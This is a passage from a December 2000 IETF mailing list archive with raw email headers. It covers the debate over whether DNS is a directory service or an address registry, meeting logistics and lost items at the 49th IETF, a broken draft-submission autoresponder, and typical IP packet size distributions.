other way and considering DNS as an directory service will resolve this issue? Regards Kheder Durah, Ph.D. Regional Network Manager/Information Specialist International Plant Genetic Resources Institute(IPGRI) Central, West Asia and North Africa Region(CWANA) Tel: +963 21 2231412, Fax: +963 21 2273681 P.O.Box 5466 Talhedya, ICARDA, Aleppo, Syria Email: k.durah@cgiar.rog http://www.ipgri.cgiar.org Member of the Consultative Group on International Agriculture Research(CGIAR) -----Original Message----- From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu] Sent: Tuesday, December 12, 2000 9:48 AM To: Durah, Kheder Cc: ietf@ietf.org Subject: Re: Internationalization and the IETF On Mon, 11 Dec 2000 23:25:25 PST, "Durah, Kheder" said: > This is my first transmission to IETF, and would like to second the fact > that DNS is an address registry and not a directory service. It's all fine and good to insist that sort of thing until you're blue in the face, but the reality is that we don't have a really good worldwide directory service deployed, and as a result, we have a preponderance of www.yourproductorcompanyhere.com. We've given them the DNS hammer, and no screwdrivers. As a result, there's a lot of pounding of DNS nails... -- Valdis Kletnieks Operating Systems Analyst Virginia Tech From owner-ietf-outbound Tue Dec 12 03:40:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA21125 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 03:40:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA10925 for ; Tue, 12 Dec 2000 03:04:25 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBC84PCW227004; Tue, 12 Dec 2000 03:04:25 -0500 Message-Id: <200012120804.eBC84PCW227004@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: "Durah, Kheder" Cc: ietf@ietf.org Subject: Re: Internationalization and the IETF In-Reply-To: Your message of "Mon, 11 Dec 2000 23:55:50 PST." X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-186857588P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Tue, 12 Dec 2000 03:04:24 -0500 X-Loop: ietf@ietf.org --==_Exmh_-186857588P Content-Type: text/plain; charset=us-ascii On Mon, 11 Dec 2000 23:55:50 PST, "Durah, Kheder" said: > I see what you mean..it's not a perfect world and misuse of technology > standards always exist as long as human intelligence is involved. Do you > think going the other way and considering DNS as an directory service will > resolve this issue? DNS is a hammer, heavily optimized for driving IP address lookup nails. We've tried DNS as a directory service, and the results are miserable. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-186857588P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjXcBXAt5Vm009ewEQKEZQCfeksqe3AUwtiCNBCFSV7HVJ2oRMsAoKMK wtERG0UG9CCxI0TSAHfKOunU =pQue -----END PGP SIGNATURE----- --==_Exmh_-186857588P-- From owner-ietf-outbound Tue Dec 12 08:52:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA25705 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 08:50:03 -0500 (EST) Received: from web10607.mail.yahoo.com (web10607.mail.yahoo.com [216.136.130.171]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA24689 for ; Tue, 12 Dec 2000 08:40:58 -0500 (EST) Message-ID: <20001212134029.92841.qmail@web10607.mail.yahoo.com> Received: from [199.67.138.20] by web10607.mail.yahoo.com; Tue, 12 Dec 2000 05:40:29 PST Date: Tue, 12 Dec 2000 05:40:29 -0800 (PST) From: Gabriel Landowski Subject: RE: Internationalization and the IETF To: "Durah, Kheder" , Jim_Stephenson-Dunn@3com.com, Randy Bush Cc: bmanning@zed.isi.edu, fred@cisco.com, anthony@ATKIELSKI.COM, ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org For the sake of a good discussion can we please have a definition of "directory service" and "address registry" to make sure we are all on the same page. I think we will find that defining these may be the issue, and this will clarify the discussion to something that we can get our arms around. Gabriel Landowski Mindangle Consulting --- "Durah, Kheder" wrote: > Dear Colleagues. > > This is my first transmission to IETF, and would > like to second the fact > that DNS is an address registry and not a directory > service. > > RGDS > > Kheder Durah, Ph.D. > > -----Original Message----- > From: Jim_Stephenson-Dunn@3com.com > [mailto:Jim_Stephenson-Dunn@3com.com] > Sent: Monday, December 11, 2000 7:16 PM > To: Randy Bush > Cc: bmanning@zed.isi.edu; fred@cisco.com; > anthony@ATKIELSKI.COM; > ietf@ietf.org > Subject: Re: Internationalization and the IETF > > > > > As I recall, didn't we (members of the IETF list) > almost have a holy (flame) > war, about wheather DNS was a directory service > about 6 months ago...... > > Once more into the breech dear friends........ (with > apologies to > Shakespeare) > > Jim > > > > > > > Randy Bush on 12/08/2000 08:49:24 PM > > Sent by: Randy Bush > > > To: Bill Manning > cc: fred@cisco.com, anthony@ATKIELSKI.COM, > ietf@ietf.org (Jim > Stephenson-Dunn/C/HQ/3Com) > Subject: Re: Internationalization and the IETF > > > > > Buzzt. 1000 times on the chauk board: > > The DNS is not a directory service... > > but it's an address registry? > > > > __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Tue Dec 12 09:11:32 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA28119 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 09:10:03 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA27486 for ; Tue, 12 Dec 2000 09:05:48 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eBCD63x30683; Tue, 12 Dec 2000 05:06:03 -0800 From: Bill Manning Message-Id: <200012121306.eBCD63x30683@zed.isi.edu> Subject: Re: Internationalization and the IETF To: gabriel_landowski@yahoo.com (Gabriel Landowski) Date: Tue, 12 Dec 2000 05:06:03 -0800 (PST) Cc: ietf@ietf.org In-Reply-To: <20001212134029.92841.qmail@web10607.mail.yahoo.com> from "Gabriel Landowski" at Dec 12, 2000 05:40:29 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % % For the sake of a good discussion can we please have a % definition of "directory service" and "address % registry" to make sure we are all on the same page. % % I think we will find that defining these may be the % issue, and this will clarify the discussion to % something that we can get our arms around. % % Gabriel Landowski % Mindangle Consulting % There have been a number of documents drafted on this issue over the past few years. You can find the results in the IETF meeting minutes archives, going back to at least 1992. There are some old Internet-Drafts that talk to this issue (and I've heard that the IETF Secratariat is contemplating the creation of an historical ID repository) and there was a pretty good coverage of the issue in the IDN workinggroup yesterday by John K. One hopes that his presentation will be available online soon. Of course, the general IETF mailing list might not be the right venue for continued conversation. --bill From owner-ietf-outbound Tue Dec 12 10:50:56 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA10643 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 10:50:01 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09638 for ; Tue, 12 Dec 2000 10:41:34 -0500 (EST) Received: from dcrocker.dcrocker.net (hdr-test50.qualcomm.com [199.106.117.50]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id HAA27076; Tue, 12 Dec 2000 07:41:20 -0800 Message-Id: <5.0.1.4.2.20001213073904.03d986f0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Wed, 13 Dec 2000 07:41:04 -0800 To: Gabriel Landowski From: Dave Crocker Subject: RE: Internationalization and the IETF Cc: "Durah, Kheder" , Jim_Stephenson-Dunn@3com.com, Randy Bush , bmanning@zed.isi.edu, fred@cisco.com, anthony@ATKIELSKI.COM, ietf@ietf.org In-Reply-To: <20001212134029.92841.qmail@web10607.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 05:40 AM 12/12/00 -0800, Gabriel Landowski wrote: >For the sake of a good discussion can we please have a >definition of "directory service" and "address >registry" to make sure we are all on the same page. A Lookup, mapping, or address registry service takes a complete, precise query specification and returns a single, corresponding entry. (The entry can have any amount of data, but all the data belongs to a single leaf node.) A directory service can take a partial specification and can "search", returning more than one corresponding entry. The simple way to refer to the distinction is mapping vs. searching. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Tue Dec 12 11:00:08 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA11842 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 11:00:03 -0500 (EST) Received: from hygro.adsl.duke.edu (IDENT:root@ietf.207.137.72.111.tx.verio.net [207.137.72.111]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11156 for ; Tue, 12 Dec 2000 10:54:26 -0500 (EST) Received: from hygro.adsl.duke.edu (narten@localhost) by hygro.adsl.duke.edu (8.11.0/8.9.3) with ESMTP id eBCFrNh00953; Tue, 12 Dec 2000 10:53:23 -0500 Message-Id: <200012121553.eBCFrNh00953@hygro.adsl.duke.edu> To: ietf@ietf.org cc: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com, nanog@merit.edu Subject: IETF Multi-homing in IPv6 BOF Date: Tue, 12 Dec 2000 10:53:23 -0500 From: Thomas Narten X-Loop: ietf@ietf.org Folks, There is a multi6 BOF scheduled for Today, Tuesday at 1PM in Marina5. The topic is "How should we multihome in IPv6". The original plans for this BOF did not solidify as intended and the BOF was canceled (as announced in Monday's ngtrans meeting). Due to the overall importance and interest level on the topic, however, there will be an informal meeting on multihoming in IPv6 in Marina5 during this time. Thomas From owner-ietf-outbound Tue Dec 12 12:01:45 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA23416 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 12:00:02 -0500 (EST) Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA21060 for ; Tue, 12 Dec 2000 11:52:25 -0500 (EST) From: bcampbell@dynamicsoft.com Received: from redball.dynamicsoft.com (ietf.207.137.74.162.tx.verio.net [207.137.74.162]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with SMTP id LAA14828 for ; Tue, 12 Dec 2000 11:54:45 -0500 (EST) Message-Id: <200012121654.LAA14828@redball.dynamicsoft.com> Date: Tue, 12 Dec 2000 16:50 -0000 To: Subject: lost t-shirt bag at 49th ietf MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_unique-boundary-2" Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org ------=_unique-boundary-2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7BIT Hi, Did anyone at the San Diego meeting find a stray white ietf bag with a T-shirt in it? Mine seems to have wandered off. Thanks! Ben Campbell. ------=_unique-boundary-2-- From owner-ietf-outbound Tue Dec 12 12:50:24 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA04871 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 12:50:02 -0500 (EST) Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA04721 for ; Tue, 12 Dec 2000 12:49:27 -0500 (EST) Received: from regan.ee.surrey.ac.uk ([131.227.89.11]) by prue.eim.surrey.ac.uk with esmtp (Exim 3.16 #1) id 145tYL-0005LX-00; Tue, 12 Dec 2000 17:49:25 +0000 Date: Tue, 12 Dec 2000 17:49:23 +0000 (GMT) From: Lloyd Wood X-Sender: eep1lw@regan.ee.surrey.ac.uk Reply-To: L.Wood@eim.surrey.ac.uk To: bcampbell@dynamicsoft.com cc: ietf Subject: Re: lost t-shirt bag at 49th ietf In-Reply-To: <200012121654.LAA14828@redball.dynamicsoft.com> Message-ID: Organization: speaking for none X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/ X-no-archive: yes MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Tue, 12 Dec 2000 bcampbell@dynamicsoft.com wrote: > Did anyone at the San Diego meeting find a stray white ietf bag with a > T-shirt in it? Mine seems to have wandered off. you could try looking for it in the bar. it's probably legless. L. PGP From owner-ietf-outbound Tue Dec 12 13:30:38 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA14561 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 13:30:02 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11910 for ; Tue, 12 Dec 2000 13:15:42 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id TAA01861; Tue, 12 Dec 2000 19:15:36 +0100 Message-Id: <4.3.2.7.2.20001212092313.054d1948@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 12 Dec 2000 09:24:43 -0800 To: Dave Crocker From: Harald Alvestrand Subject: Directory definitions (RE: Internationalization and the IETF) Cc: ietf@ietf.org In-Reply-To: <5.0.1.4.2.20001213073904.03d986f0@joy.songbird.com> References: <20001212134029.92841.qmail@web10607.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org An attempt at writing down a reasonably self-consistent set of definitions occured in draft-alvestrand-directory-defs (currently expired). A new version was posted to the open discussion list directory@apps.ietf.org a few days ago. I suggest we move the discussion of those definitions there. At 07:41 13/12/2000 -0800, Dave Crocker wrote: >At 05:40 AM 12/12/00 -0800, Gabriel Landowski wrote: >>For the sake of a good discussion can we please have a >>definition of "directory service" and "address >>registry" to make sure we are all on the same page. > >A Lookup, mapping, or address registry service takes a complete, precise >query specification and returns a single, corresponding entry. (The entry >can have any amount of data, but all the data belongs to a single leaf node.) > >A directory service can take a partial specification and can "search", >returning more than one corresponding entry. > >The simple way to refer to the distinction is mapping vs. searching. > >d/ > > >=-=-=-=-= >Dave Crocker >Brandenburg Consulting >Tel: +1.408.246.8253, Fax: +1.408.273.6464 > >- >This message was passed through ietf+censored@alvestrand.no, which >is a sublist of ietf@ietf.org. Not all messages are passed. >Decisions on what to pass are made solely by Harald Alvestrand. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Tue Dec 12 14:30:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA27248 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 14:30:03 -0500 (EST) Received: from citi.umich.edu (citi.umich.edu [141.211.92.141]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA25162 for ; Tue, 12 Dec 2000 14:20:08 -0500 (EST) Received: from citi.umich.edu (ssh-mapper.citi.umich.edu [141.211.92.147]) by citi.umich.edu (Postfix) with ESMTP id 1D9FB207C1 for ; Tue, 12 Dec 2000 14:20:10 -0500 (EST) From: Niels Provos Subject: draft submission broken To: ietf@ietf.org Date: Tue, 12 Dec 2000 14:20:09 -0500 Sender: provos@citi.umich.edu Message-Id: <20001212192010.1D9FB207C1@citi.umich.edu> X-Loop: ietf@ietf.org Hi, according to this email - autoresponder from internet-drafts - it should have been possible to submit internet-drafts again begining yesterday: We are sorry, but the cut-off for Internet-Draft submissions was Friday, November 24, 2000 at 5pm ET. Your submission will not be retained (i.e. you need to resubmit) after December 10. Any submissions received prior to December 11, 2000 will not be retained; they must be resubmitted. Internet-Draft submissions received on or after December 11 will be processed. However, Internet-Draft announcements will not be sent until after the meeting concludes. If you receive this announcement, your submission will NOT be processed. However, it also says that the submission will not be processed. Somebody please fix the autoresponder or the message. Thank you, Niels. From owner-ietf-outbound Tue Dec 12 14:40:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA29036 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 14:40:03 -0500 (EST) Received: from jazz.viagenie.qc.ca (jazz.viagenie.qc.ca [206.123.31.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA26344 for ; Tue, 12 Dec 2000 14:25:50 -0500 (EST) Received: from CLASSIC.viagenie.qc.ca (ietf.207.137.75.43.tx.verio.net [207.137.75.43]) by jazz.viagenie.qc.ca (Viagenie/8.11.0) with ESMTP id eBCJSaH61528; Tue, 12 Dec 2000 14:28:36 -0500 (EST) X-Accept-Language: fr,en,es Message-Id: <5.0.2.1.1.20001212135807.054c1ff8@mail.viagenie.qc.ca> X-Sender: blanchet@mail.viagenie.qc.ca X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 12 Dec 2000 13:58:38 -0500 To: Bill Manning , gabriel_landowski@yahoo.com (Gabriel Landowski) From: Marc Blanchet Subject: Re: Internationalization and the IETF Cc: ietf@ietf.org In-Reply-To: <200012121306.eBCD63x30683@zed.isi.edu> References: <20001212134029.92841.qmail@web10607.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: 8bit Content-Transfer-Encoding: 8bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit At/À 05:06 2000-12-12 -0800, Bill Manning you wrote/vous écriviez: >% >% For the sake of a good discussion can we please have a >% definition of "directory service" and "address >% registry" to make sure we are all on the same page. >% >% I think we will find that defining these may be the >% issue, and this will clarify the discussion to >% something that we can get our arms around. >% >% Gabriel Landowski >% Mindangle Consulting >% > > There have been a number of documents drafted on this > issue over the past few years. You can find the results > in the IETF meeting minutes archives, going back to at > least 1992. There are some old Internet-Drafts that talk > to this issue (and I've heard that the IETF Secratariat > is contemplating the creation of an historical ID repository) > and there was a pretty good coverage of the issue in > the IDN workinggroup yesterday by John K. One hopes that > his presentation will be available online soon. all presentations of the idn wg monday meeting are now available on the wg web site: http://www.i-d-n.net. Marc. > Of course, the general IETF mailing list might not > be the right venue for continued conversation. > >--bill Marc Blanchet Viagénie inc. tel: 418-656-9254 http://www.viagenie.qc.ca ---------------------------------------------------------- Normos (http://www.normos.org): Internet standards portal: IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place. From owner-ietf-outbound Tue Dec 12 18:00:42 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA00155 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 18:00:02 -0500 (EST) Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA29078 for ; Tue, 12 Dec 2000 17:51:00 -0500 (EST) Received: from GK-VAIO.Dial.pipex.com (ietf.207.137.73.130.tx.verio.net [207.137.73.130]) by ns1.49thietf.org (8.9.3+Sun/8.9.3) with ESMTP id OAA05980 for ; Tue, 12 Dec 2000 14:51:02 -0800 (PST) Message-Id: <4.3.2.7.2.20001212224733.00bd61c0@pop.dial.pipex.com> X-Sender: xex41@pop.dial.pipex.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 12 Dec 2000 22:49:02 +0000 To: ietf@ietf.org From: Graham Klyne Subject: 49th IETF - OPES BOF Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Due to lack of physical space in the meeting room, man I request that a pointer to the OPES mailing list details and meeting minutes be posted to this list? #g ------------ Graham Klyne (GK@ACM.ORG) From owner-ietf-outbound Tue Dec 12 19:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA09544 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 19:10:02 -0500 (EST) Received: from web9106.mail.yahoo.com (web9106.mail.yahoo.com [216.136.128.243]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA09282 for ; Tue, 12 Dec 2000 19:07:50 -0500 (EST) Message-ID: <20001213000721.24453.qmail@web9106.mail.yahoo.com> Received: from [216.79.62.80] by web9106.mail.yahoo.com; Tue, 12 Dec 2000 16:07:21 PST Date: Tue, 12 Dec 2000 16:07:21 -0800 (PST) From: Kevin Farley Reply-To: sixdrift@yahoo.com Subject: Re: IP Packet size To: Pipo Bui , ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org > I am evaluating an IP in IP encapsulation technology and would > like to know the average size or size range of an IP Packet, > including the 20 byte header. Can you tell me this or where to > find it? Big verbose answer follows... As others have pointed out, it really depends on what is happening on the network as to what an average size would be. I think it is perhaps best to think not of the average size, but instead consider the distribution. You should also consider the network you are collecting on, the time of day, loading, etc. For example, I collected packet histograms on our corporate network which moves LOTS of email and LOTS of web pages as well as local file sharing. During the busy times, the distribution is roughly 33% of all IP packets are in the 1024 to 1500 byte category, roughly 33% are in the less than 100 byte category, and the final 34% appears to be uniformly distributed between 100 and 1024 bytes. Note that this data was taken on a corporate Ethernet during work hours. If you take data on backhaul networks, WANs, or during non-peak times, you could obtain quite different results. The point is that you need to know what your environment is. If you are looking at point-to-point links, the MTUs will be different than for an Ethernet LAN. If you are looking at WAN VPNs, then you need to consider the application data that will be carried over that link. Then there are the differences between protocols: UDP, TCP, RTP/UDP... but that is another long discussion. Kevin Farley __________________________________________________ Do You Yahoo!? Yahoo! Photos - 35mm Quality Prints, Now Get 15 Free! http://photos.yahoo.com/ From owner-ietf-outbound Tue Dec 12 21:41:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA14382 for ietf-outbound.10@ietf.org; Tue, 12 Dec 2000 21:40:02 -0500 (EST) Received: from purple.east.isi.edu (ietf.207.137.72.48.tx.verio.net [207.137.72.48]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA08154 for ; Tue, 12 Dec 2000 21:10:05 -0500 (EST) Received: from purple.east.isi.edu (localhost [127.0.0.1]) by purple.east.isi.edu (8.9.3/8.8.7) with ESMTP id VAA04759 for ; Tue, 12 Dec 2000 21:10:06 -0500 Message-Id: <200012130210.VAA04759@purple.east.isi.edu> To: ietf@ietf.org Subject: Lost a secure ID card? Date: Tue, 12 Dec 2000 18:10:06 -0800 From: Colin Perkins X-Loop: ietf@ietf.org I found one after the CEOT BOF, contact me if you want it back. Colin From owner-ietf-outbound Wed Dec 13 08:40:44 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA08741 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 08:40:02 -0500 (EST) Received: from c014.sfo.cp.net (c014-h013.c014.sfo.cp.net [209.228.12.77]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA06976 for ; Wed, 13 Dec 2000 08:31:52 -0500 (EST) From: narakamath@lightel.com Received: (cpmta 1175 invoked from network); 13 Dec 2000 05:31:22 -0800 Date: 13 Dec 2000 05:31:22 -0800 Message-ID: <20001213133122.1174.cpmta@c014.sfo.cp.net> X-Sent: 13 Dec 2000 13:31:22 GMT Received: from [165.247.112.6] by mail.lightel.com with HTTP; 13 Dec 2000 05:31:22 PST Content-Type: text/plain Content-Disposition: inline Mime-Version: 1.0 To: sixdrift@yahoo.com Cc: pbui@horizonpr.com, ietf@ietf.org X-Mailer: Web Mail 3.8.1.2 Subject: Re: IP Packet size X-Loop: ietf@ietf.org I am in the process of designing and developing a next generation network product line. These discussions on packet sizes and other related topics have been of immense value to me. Thanks much and keep it up. Nara On Tue, 12 December 2000, Kevin Farley wrote: > > > I am evaluating an IP in IP encapsulation technology and would > > like to know the average size or size range of an IP Packet, > > including the 20 byte header. Can you tell me this or where to > > find it? > > Big verbose answer follows... > > As others have pointed out, it really depends on what is happening on > the network as to what an average size would be. I think it is perhaps > best to think not of the average size, but instead consider the > distribution. > > You should also consider the network you are collecting on, the time of > day, loading, etc. > > For example, I collected packet histograms on our corporate network > which moves LOTS of email and LOTS of web pages as well as local file > sharing. During the busy times, the distribution is roughly 33% of all > IP packets are in the 1024 to 1500 byte category, roughly 33% are in > the less than 100 byte category, and the final 34% appears to be > uniformly distributed between 100 and 1024 bytes. > > Note that this data was taken on a corporate Ethernet during work > hours. If you take data on backhaul networks, WANs, or during non-peak > times, you could obtain quite different results. > > The point is that you need to know what your environment is. If you are > looking at point-to-point links, the MTUs will be different than for an > Ethernet LAN. If you are looking at WAN VPNs, then you need to consider > the application data that will be carried over that link. > > Then there are the differences between protocols: UDP, TCP, RTP/UDP... > but that is another long discussion. > > Kevin Farley > > > __________________________________________________ > Do You Yahoo!? > Yahoo! Photos - 35mm Quality Prints, Now Get 15 Free! > http://photos.yahoo.com/ From owner-ietf-outbound Wed Dec 13 09:10:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA15269 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 09:10:02 -0500 (EST) Received: from mail.sbs.be (mail.sbs.be [193.210.201.242]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13271 for ; Wed, 13 Dec 2000 09:00:46 -0500 (EST) Received: from brub100a.siemens.be (brub100a.siemens.be [193.210.175.13]) by mail.sbs.be (8.9.3/8.9.3) with ESMTP id OAA00976; Wed, 13 Dec 2000 14:53:32 +0100 Received: by brub100a.siemens.be with Internet Mail Service (5.5.2653.19) id ; Wed, 13 Dec 2000 14:53:42 +0100 Received: by brub100a.siemens.be with Internet Mail Service (5.5.2653.19) id ; Tue, 12 Dec 2000 17:03:46 +0100 Message-ID: <644F79AD0DB4D111BB5F00A0C92F801101DE39C1@brub100a.siemens.be> From: TOMSON ERIC To: "'Gabriel Landowski'" Cc: bmanning@zed.isi.edu, fred@cisco.com, anthony@ATKIELSKI.COM, "'Dave Crocker'" , "Durah, Kheder" , Randy Bush , Jim_Stephenson-Dunn@3COM.COM, ietf@ietf.org Subject: RE: Internationalization and the IETF Date: Tue, 12 Dec 2000 17:03:45 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org Here is my contribution to the requested definitions. -- Directory service = a software system that responds to requests for information about entities, e.g. people in an organization. It's a system for managing access to computer resources, keeping track of the users of a network,... from a single point of administration. It allows a network administrator to set up and control a database of users and resources and manage them using a directory (by example with an easy-to-use GUI, Graphical User Interface). Users, computers, sites,... can be added, updated and managed centrally ; applications can be distributed electronically. Microsoft Active Directory, Network Information Service (NIS), Novell Directory Service (NDS) and X.500 are examples of directory services. -- Address registry = a registry of numbers or addresses with some corresponding data, e.g. names. Such a registry helps maintain names, which are identifiers that are mapped to numbers or addresses. Let's say a Directory Service is multi-dimensional, in the sense it involves many types of data, many levels of information you have to search in, while an Address Registry has one dimension, in the sense it just maps addresses to their corresponding name, like a telephone registry, DNS, WINS, the "hosts" file or the "lmhosts" file. -- So, what is DNS? In the TCP/IP world, the Domain Name System (DNS) is a distributed database that provides the mapping between IP addresses and hostnames. It's just an address registry. -- E.T. -----Original Message----- From: Gabriel Landowski [mailto:gabriel_landowski@yahoo.com] For the sake of a good discussion can we please have a definition of "directory service" and "address registry" to make sure we are all on the same page. I think we will find that defining these may be the issue, and this will clarify the discussion to something that we can get our arms around. Gabriel Landowski Mindangle Consulting --- "Durah, Kheder" wrote: > Dear Colleagues. > > This is my first transmission to IETF, and would > like to second the fact > that DNS is an address registry and not a directory > service. > > RGDS > > Kheder Durah, Ph.D. > > -----Original Message----- > From: Jim_Stephenson-Dunn@3com.com > > As I recall, didn't we (members of the IETF list) > almost have a holy (flame) > war, about wheather DNS was a directory service > about 6 months ago...... > > Once more into the breech dear friends........ (with > apologies to > Shakespeare) > > Jim > > > Randy Bush on 12/08/2000 08:49:24 PM > > Sent by: Randy Bush > > > Buzzt. 1000 times on the chauk board: > > The DNS is not a directory service... > > but it's an address registry? From owner-ietf-outbound Wed Dec 13 12:23:55 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA15999 for ietf-outbound.10@ietf.org; Wed, 13 Dec 2000 12:20:01 -0500 (EST) Received: from zeus.ultraservers.net ([216.218.203.190]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15094 for ; Wed, 13 Dec 2000 12:12:11 -0500 (EST) Received: from client34157.atl.mediaone.net ([24.88.34.157] helo=gator) by zeus.ultraservers.net with smtp (Exim 3.14 #1) id 146FQE-0006lC-00; Wed, 13 Dec 2000 09:10:30 -0800 Reply-To: From: "Kyle Lussier" To: "TOMSON ERIC" , "'Gabriel Landowski'" Cc: , , , "'Dave Crocker'" , "Durah, Kheder" , "Randy Bush" , , Subject: RE: Internationalization and the IETF Date: Wed, 13 Dec 2000 12:11:13 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: 